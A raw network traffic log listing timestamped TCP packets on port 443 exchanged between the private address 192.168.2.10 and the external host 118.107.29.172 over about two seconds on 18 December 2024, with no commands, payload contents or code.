Dec 18, 2024 13:21:17.939203978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.944822073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.944849014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.944881916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.944890022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.944914103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.944936991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.950814009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.950840950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.950872898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.950887918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.950907946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.950925112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.955955029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.955984116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.956027031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.956034899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.956063032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.956075907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.961735010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.961771965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.961829901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.961838007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.961879969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.967339993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.967367887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.967439890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:17.967451096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:17.967489958 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.099143028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.099195004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.099232912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.099256039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.099282026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.099299908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.126576900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.126610041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.126669884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.126693010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.126717091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.126732111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.131325960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.131351948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.131392002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.131402016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.131424904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.131443977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.137516975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.137546062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.137592077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.137599945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.137628078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.137645006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.143831968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.143857002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.143891096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.143898964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.143956900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.149394989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.149424076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.149477959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.149486065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.150455952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.154534101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.154556990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.154592991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.154599905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.154630899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.154644966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.159579039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.159603119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.159642935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.159648895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.159687996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.291138887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.291163921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.291218996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.291239023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.291260004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.291275024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.318259001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.318286896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.318337917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.318346977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.318391085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.323400974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.323421955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.323510885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.323510885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.323520899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.324127913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.329287052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.329305887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.329375029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.329381943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.329422951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.335195065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.335218906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.335278988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.335285902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.335606098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.340442896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.340462923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.340508938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.340516090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.340553999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.340634108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.346545935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.346564054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.346606016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.346612930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.346637964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.346652985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.351847887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.351866007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.351948977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.351955891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.351991892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.483547926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.483577967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.483648062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.483663082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.483704090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.510366917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.510387897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.510457039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.510464907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.510502100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.516228914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.516247034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.516294003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.516300917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.516371012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.521342993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.521359921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.521423101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.521430016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.521455050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.521466017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.527405977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.527426004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.527478933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.527486086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.527515888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.527528048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.533076048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.533097029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.533159971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.533166885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.533190966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.533205986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.538573027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.538589001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.538639069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.538645029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.538681984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.544580936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.544600010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.544672966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.544681072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.544795990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.675791979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.675815105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.675879955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.675900936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.675924063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.675940037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.702862978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.702882051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.702934980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.702955008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.702975035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.702997923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.708677053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.708698988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.708764076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.708776951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.708800077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.710445881 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.713845968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.713861942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.713916063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.713927984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.714407921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.719739914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.719755888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.719800949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.719815016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.720185995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.725517035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.725533009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.725569010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.725578070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.725598097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.725614071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.731178045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.731194019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.731235981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.731244087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.731276989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.731288910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.736903906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.736921072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.736977100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.736984968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.737021923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.868280888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.868303061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.868350029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.868375063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.868396997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.868408918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.895168066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.895184994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.895253897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.895267010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.895303965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.901093006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.901114941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.901149035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.901155949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.901195049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.906234980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.906258106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.906290054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.906296968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.906325102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.906342030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.911995888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.912019014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.912050962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.912059069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.912090063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.912103891 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.917969942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.917994022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.918025970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.918031931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.918077946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.923095942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.923116922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.923222065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.923230886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.923347950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.929271936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.929300070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.929361105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.929378986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:18.929404020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:18.929421902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.060400009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.060446024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.060486078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.060509920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.060539007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.060563087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.087290049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.087310076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.087361097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.087378979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.087425947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.093066931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.093086958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.093122005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.093131065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.093149900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.093168974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.099051952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.099071026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.099106073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.099113941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.099138021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.099163055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.104196072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.104212999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.104295015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.104302883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.104335070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.109915018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.109934092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.109998941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.110008955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.110039949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.115839958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.115859032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.115895033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.115901947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.115936041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.121311903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.121336937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.121371984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.121378899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.121408939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.252552032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.252576113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.252640009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.252664089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.252821922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.279395103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.279424906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.279468060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.279490948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.279520988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.279536963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.285176992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.285196066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.285238981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.285249949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.285294056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.291044950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.291060925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.291098118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.291107893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.291145086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.296216011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.296232939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.296286106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.296298981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.296408892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.302241087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.302258968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.302294970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.302305937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.302328110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.302349091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.307996035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.308013916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.308043957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.308052063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.308082104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.308491945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.313575029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.313591003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.313649893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.313663006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.313772917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.445277929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.445298910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.445386887 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.445409060 CET	443	49723	118.107.29.172	192.168.2.10
